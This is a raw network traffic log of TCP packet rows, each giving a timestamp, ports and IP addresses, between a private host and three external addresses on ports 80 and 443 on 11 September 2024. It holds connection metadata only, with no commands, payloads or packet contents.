Sep 11, 2024 16:22:19.441416025 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441421986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441431999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441437006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441442966 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441452026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441462994 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.441504955 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441509962 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441520929 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441525936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441528082 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.441539049 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441543102 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.441545010 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441557884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.441576958 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.441737890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441742897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441751957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441756964 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441762924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441773891 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441780090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441786051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441791058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441793919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.441797972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441802025 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.441806078 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441812038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441822052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441827059 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.441845894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.441971064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441975117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441984892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441991091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441996098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.441997051 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.442002058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.442008972 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.442037106 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.442101002 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.442106962 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.442116976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.442122936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.442130089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.442138910 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.442178011 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.442178011 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.442231894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.442238092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.442248106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.442253113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.442260027 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.442270041 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.442274094 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.442276001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.442286968 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.442292929 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.442298889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.442305088 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.442307949 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.442311049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.442338943 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.442338943 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.442347050 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.442353010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.442358017 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.442363024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.442378998 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.442378998 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.442696095 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.442704916 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.442709923 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.442719936 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.443262100 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443267107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443278074 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443311930 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.443378925 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443392038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443403006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443408012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443413973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443412066 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.443420887 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443434000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443438053 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.443461895 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.443501949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443506956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443517923 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443522930 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443523884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.443535089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443538904 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.443540096 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443547010 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443552017 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443562984 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443567991 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443578005 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.443581104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443587065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443587065 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.443593979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443598986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443605900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443610907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443619013 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443619013 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.443627119 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.443641901 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.443743944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443748951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443758965 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.443779945 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.444595098 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.446643114 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.448788881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.448795080 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.448806047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.448864937 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.448869944 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.448880911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.448885918 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.448892117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.448982954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.448987961 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.448998928 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.449003935 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.449002981 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.449002981 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.449002981 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.449009895 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.449021101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.449028969 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.449074984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.450337887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450341940 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450423002 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.450455904 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450613022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450618029 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450624943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450632095 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.450635910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450642109 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450645924 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450650930 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450655937 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450658083 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.450665951 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450673103 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450706005 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.450706005 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.450723886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450731039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.450740099 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.450804949 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.451412916 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451509953 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451514959 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451525927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451530933 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451538086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451543093 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451553106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451571941 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.451601982 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.451601982 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.451678991 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451684952 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451695919 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451700926 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451706886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451718092 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.451735973 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.451776981 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.452888012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.452924013 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.452929974 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.452944040 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.452954054 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.452960014 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.452970028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.452971935 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.453010082 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.453083992 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.453089952 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.453099012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.453104973 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.453116894 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.453121901 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.453140974 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.453154087 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.453154087 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.453167915 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.453174114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.453315020 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.458233118 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.458300114 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.492746115 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492758036 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492778063 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492784977 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492796898 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492810011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492815971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492820978 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.492824078 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492830992 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492836952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492842913 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492846966 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.492850065 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492862940 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492867947 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492875099 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492876053 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.492901087 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.492907047 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492913008 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492918015 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492919922 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.492924929 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492930889 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.492948055 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.492965937 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.493184090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.493191004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.493205070 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.493208885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.493236065 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.493247986 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.493603945 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.493609905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.493623018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.493670940 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.493717909 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.493725061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.493736982 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.493772030 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.493797064 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.493858099 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.493865013 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.493904114 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494065046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494071007 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494082928 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494111061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494111061 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494117975 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494139910 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494168997 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494175911 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494183064 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494194031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494220972 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494370937 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494378090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494384050 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494409084 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494419098 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494461060 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494467974 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494477034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494513988 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494534016 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494539976 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494551897 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494579077 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494607925 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494633913 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494638920 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494649887 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494657040 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494669914 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494674921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494679928 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494680882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494687080 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494700909 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494709969 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494733095 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494828939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494836092 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494847059 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494877100 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494913101 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494940042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494949102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494955063 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494960070 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494967937 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.494986057 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.494996071 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.495054007 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495059967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495071888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495078087 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495095968 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495100021 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.495102882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495110035 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495119095 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.495137930 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.495932102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495939016 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495944977 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495949984 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495956898 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495969057 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495975018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495985985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.495991945 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.495992899 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496030092 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.496038914 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496043921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496054888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496068954 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496076107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496082067 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496088028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496092081 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.496109962 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.496124983 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.496248007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496253967 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.496264935 CEST	80	49734	147.45.44.104	192.168.2.4
